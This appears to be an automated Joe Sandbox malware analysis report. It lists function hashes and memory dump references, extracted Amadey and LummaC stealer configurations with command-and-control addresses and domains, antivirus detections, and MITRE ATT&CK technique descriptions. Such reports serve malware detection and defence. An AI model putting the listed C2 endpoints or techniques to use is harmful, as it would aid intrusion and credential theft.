Opcode ID: bc2d3c4b4ff705e1d3d92b5861207930c1d0aebee5195cb477e150615fb93422
Instruction ID: 982ac10ee4ba28d6193513796b1cf3c9d993c55d09c09965b6ea3b648a60fd3e
Opcode Fuzzy Hash: bc2d3c4b4ff705e1d3d92b5861207930c1d0aebee5195cb477e150615fb93422
Instruction Fuzzy Hash: 9DE065B15096199BD7146F28C48876D77E4FF05321F12062BEE96D3780D6350C54CA8B

Function 004DE7D0 Relevance: 1.3, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 004DE7D5

Memory Dump Source

Source File: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b8423ffe077d48f1c2445e122f72d9e9c7a94947847d7610fd114b5394907ff4
Instruction ID: ea81bbe67294ccec0949f0185b8ff3589dc14b4fb6fa895bf67f8f4ee740b57c
Opcode Fuzzy Hash: b8423ffe077d48f1c2445e122f72d9e9c7a94947847d7610fd114b5394907ff4
Instruction Fuzzy Hash: 4DC012F91082088AE7082F6184283BE3A90DB00701F02012EAB4388A80D5390C618A8E

Non-executed Functions

Function 0068DA27 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63ab652d348a4f8399ca2d0de61cd8cd913f2f3a6daaaa10f1cdcc0cc7ac3f5a
Instruction ID: 523ec7761676f37f28452ec364bb62a23a452305aba8993b2dc87bd0f010000a
Opcode Fuzzy Hash: 63ab652d348a4f8399ca2d0de61cd8cd913f2f3a6daaaa10f1cdcc0cc7ac3f5a
Instruction Fuzzy Hash: 36F0A0F618C251BDF20DE241ED56EBA67B9E6E1B31B30822AF586CB1C1D2549A069370

Function 00689BC9 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eac4b91855b624101da04615cf0d82d02c7842b3589e343e997d0719f7b11e5
Instruction ID: 7d07d7c111fba439a3c0cda9b698681b57d378fa4b1736af53ff2e74700761c0
Opcode Fuzzy Hash: 5eac4b91855b624101da04615cf0d82d02c7842b3589e343e997d0719f7b11e5
Instruction Fuzzy Hash: 8EF046BA6082D64FE702DF2898811AE7BB5FF42370B1945A7EC404F923C2315C698B39

Analysis Process: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exePID: 4596, Parent PID: 5024COMMON

Executed Functions

Function 057102DA Relevance: .5, Instructions: 488COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2973506336.0000000005710000.00000040.00001000.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5710000_YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f2e1a89315baecf891b07fddec61fb327ee05aa2aa85352dc4a79cbc3ec4b28
Instruction ID: 4d1f791f81c8631300568938144daad6a5f9d65a07788c018d9f38cc0fdc27d7
Opcode Fuzzy Hash: 7f2e1a89315baecf891b07fddec61fb327ee05aa2aa85352dc4a79cbc3ec4b28
Instruction Fuzzy Hash: 93A14DEB14C121BF7342C45A2B5CAF66B6FE5D6730331842BFC07C6542E6944ACA717A

Function 0571022D Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2973506336.0000000005710000.00000040.00001000.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5710000_YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbdd0c1b317f288e6b4ac7c1a6e6c91d82a964ff0f4b4364a958c41fd8a76893
Instruction ID: fff80afaf0e7a1a12fcc737f6fc5345f56af642908bdd512d25b778a9966fae8
Opcode Fuzzy Hash: cbdd0c1b317f288e6b4ac7c1a6e6c91d82a964ff0f4b4364a958c41fd8a76893
Instruction Fuzzy Hash: AF215CA710C1506FE302C5A9269C9BA3BA9EEEB33033444AFEC45CF113D54649CB7236

Function 057102E1 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2973506336.0000000005710000.00000040.00001000.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5710000_YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c6c33bb4994449155204ae88c19164b52efc205ee707ccd72ee2629c418b89f
Instruction ID: 9984780c1c28ac9d49e5971b8930d6faea69de6681ddc34d15cf3d8b0dd027fd
Opcode Fuzzy Hash: 1c6c33bb4994449155204ae88c19164b52efc205ee707ccd72ee2629c418b89f
Instruction Fuzzy Hash: D801F5BB10C210AFA355D5DA679C6B637AAFAD7330330846FF806CA112D5854A8A713A

Function 05710384 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2973506336.0000000005710000.00000040.00001000.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5710000_YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 071fe2c14c368c15f48f74bdd0c7687a83fe9087d110a841b34bf24d0a8097ac
Instruction ID: 24b01b349b959b382176649d4c9ed24ab539118446224dbf45839b023d68109b
Opcode Fuzzy Hash: 071fe2c14c368c15f48f74bdd0c7687a83fe9087d110a841b34bf24d0a8097ac
Instruction Fuzzy Hash: 0D0189AA20C5409FD301D695A65D6F73F19FBD7730334445AE441CF293D0828987A1B1

Function 05710307 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2973506336.0000000005710000.00000040.00001000.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5710000_YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 856f7534cdf634953619384146c930ba6f2acd4c17d493761e7c90570ce80512
Instruction ID: 0cf2c6290bbe2157629e5035bf6d40ed86ab3fa97798bf9ef66aba196945e1e2
Opcode Fuzzy Hash: 856f7534cdf634953619384146c930ba6f2acd4c17d493761e7c90570ce80512
Instruction Fuzzy Hash: 0401D1AB10C150AF6201D1C63B5CAB63769E9DB330330846FF806C6112D5854ADA7076

Function 05710324 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2973506336.0000000005710000.00000040.00001000.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5710000_YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750ea40aaf06426e4ddbfdbebe0be43a8cf433746e817ea88cd6d5cd820f3ac3
Instruction ID: 79507fa4d6ae0431dcdfc2be289681d9c171a0a9c18d2b0d9583dafa7cf0dd77
Opcode Fuzzy Hash: 750ea40aaf06426e4ddbfdbebe0be43a8cf433746e817ea88cd6d5cd820f3ac3
Instruction Fuzzy Hash: F6F0C2FF20C150AFB206D5C67A9C97A3B69FAEB730334846BF845C6113C586498B7176

Function 05710317 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2973506336.0000000005710000.00000040.00001000.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5710000_YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5282589ad3883f49bb67761c86468c0135946130541edacbec9e138cb8b2142f
Instruction ID: 87eeddb25ca0182dbac5a8532d8c6aca903c0c6b8bb81ca4ffcaa709a5f37bbb
Opcode Fuzzy Hash: 5282589ad3883f49bb67761c86468c0135946130541edacbec9e138cb8b2142f
Instruction Fuzzy Hash: 63F0AFFB20C150AF6202D59A3A9C97A3B69E9DB730334846BF845CA212D582498F7176

Function 05710336 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2973506336.0000000005710000.00000040.00001000.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5710000_YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3810fb8718a6a84d89372f0647732f484f541a2c5fe1803e67e3b2444142cdb8
Instruction ID: 7af24101707832e717feec87ff3163564c726a08e7a849bf9396326ac5dc2d6e
Opcode Fuzzy Hash: 3810fb8718a6a84d89372f0647732f484f541a2c5fe1803e67e3b2444142cdb8
Instruction Fuzzy Hash: 5BF04CEB20C140AF9201D6967A5D6B73B69FADB330334445BF845CB243C4C109877172

Source: 00000007.00000002.3006111132.0000000000831000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.5024.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["scriptyprefej.store", "founpiuer.store", "presticitpo.store", "thumbystriw.store", "fadehairucw.store", "necklacedmny.store", "navygenerayk.store", "crisiwarny.store"], "Build id": "4SD0y4--legendaryy"}

Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
